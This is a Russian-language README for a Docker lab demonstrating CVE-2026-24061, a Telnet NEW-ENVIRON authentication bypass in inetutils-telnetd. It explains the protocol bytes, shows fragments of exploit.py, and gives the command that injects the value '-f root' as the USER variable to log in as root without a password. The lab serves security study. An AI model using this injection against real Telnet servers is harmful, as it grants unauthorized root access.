
Образовательная Docker-лаборатория, демонстрирующая инъекцию имени пользователя в Telnet NEW-ENVIRON (CVE-2026-24061), с Python-клиентом и уязвимым сервером для изолированных исследований в области безопасности.
Лёгкая Docker-лаборатория для экспериментов с согласованием протокола Telnet, описанным в эксплойте CVE-2026-24061, который содержит автоматическую инъекцию имени пользователя с использованием опции NEW-ENVIRON.
Этот проект создаёт изолированную среду «клиент–сервер» для изучения того, как Telnet обрабатывает обход аутентификации на основе переменных окружения.
+---------+ labnet +---------+
| node1 | ------------------> | node2 |
| Client | | Telnet |
| Python | | Server |
+---------+ +---------+
| Контейнер | Роль |
|---|---|
| node1 | Python-клиент со скриптом автовхода |
| node2 | Telnet-сервер (inetutils-telnetd 2.7) |
Оба сервиса работают внутри приватной мостовой сети Docker с именем labnet.
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py
Этот файл отвечает за установку клиентского контейнера с именем node1.
Я выбрал python:3.12-slim в качестве базового образа, поскольку цель этой лаборатории — только сетевое взаимодействие. Мы устанавливаем лишь сам Telnet-клиент и копируем exploit.py в корневую папку контейнера.
Этот файл отвечает за установку серверного контейнера с именем node2.
Для этого контейнера применяется тот же базовый образ. Однако процесс установки включает больше шагов:
wget, чтобы получить уязвимую версию telnetd.apt get install -y./etc/inetd.conf, включает службу telnet.В начале файла объявлено несколько констант:
IAC = 255
DO = 253
DONT = 254
WILL = 251
WONT = 252
SB = 250
SE = 240
IAC со значением 255 означает Interpret As Command, то есть отмечает начало управляющей последовательности Telnet.
Вы можете изучить дополнительные опции здесь
Формат обычно выглядит так:
IAC <команда> <опция>
В скрипте есть следующая часть:
# Handle telnet negotiation
if IAC in data:
handle_telnet_negotiation(sock, data, username)
Этот if проверяет, что если полученные от сервера данные содержат значение IAC, нам нужно интерпретировать их как команду.
Мы проходим по полученным данным с помощью цикла while. Для каждого байта проверяем, является ли он IAC.
if data[i] == IAC:
cmd = data[i+1]
opt = data[i+2]
Если это так, мы присваиваем переменным cmd и opt соответствующие байты потока данных.
Если значение opt равно значению NEW_ENVIRON, скрипт запускает метод send_new_environ_user.
Рассмотрим следующий фрагмент кода:
data = bytes([
IAC, SB, NEW_ENVIRON, 0, # IS
ENV_USERVAR
]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
IAC, SE
])
SB и SE являются частью констант протокола Telnet. SB означает «Subnegotiation begin» (начало субсогласования), а SE — «Subnegotiation end» (конец субсогласования). Всё, что находится между этими двумя значениями, — это настройки, относящиеся к одной конкретной команде, отправляемой на сервер. В данном случае мы хотим отправить сообщение по стандарту rfc1572, подробнее здесь.
Эту последовательность байтов можно вольно перевести на русский так:
- Интерпретировать это как команду (IAC)
- Это (0)
- Новая переменная окружения (NEW_ENVIRON)
- Значение этой новой переменной окружения — (b"USER" + bytes([ENV_VALUE]) + username.encode())
- Завершить субсоединение (IAC + SE)
Однако бывают случаи, когда целевой Telnet-сервер не поддерживает переменные окружения, связанные с именами пользователей. В этом случае мы возвращаемся к отправке имени пользователя традиционным способом.
Проверка установки:
docker --version
docker compose version
docker compose up --build -d
Проверка статуса:
docker ps
Вы должны увидеть:
node1node2docker exec -it node1 bash
Задайте имя пользователя и запустите скрипт:
USER="-f root" python exploit.py node2
Скрипт будет:
node2 на порту 23USER=-f root с помощью NEW-ENVIRONlabnet| Имя хоста | Служба |
|---|---|
| node1 | Клиент |
| node2 | Telnet-сервер |
Клиентский скрипт:
IAC, DO, WILL, которые являются фундаментальными командами протокола Telnet, используемыми для согласования опций между клиентом и сервером.NEW-ENVIRONUSER=<значение $USER>
login: или username: в качестве запасного вариантаОстановка среды:
docker compose down
Если вы также хотите удалить контейнеры и образы:
docker compose down --rmi all
Telnet передаёт данные в открытом виде и не является безопасным. Этот проект предназначен только для образовательных целей в изолированных средах.
Отказ в подключении
Убедитесь, что контейнеры запущены:
docker ps
Скрипт завершается с ошибкой USER
USER="-f root" python exploit.py node2
Пересборка после изменений
docker compose up --build
Этот репозиторий предоставляется для образовательных и исследовательских целей. Приветствуются вклад и улучшения.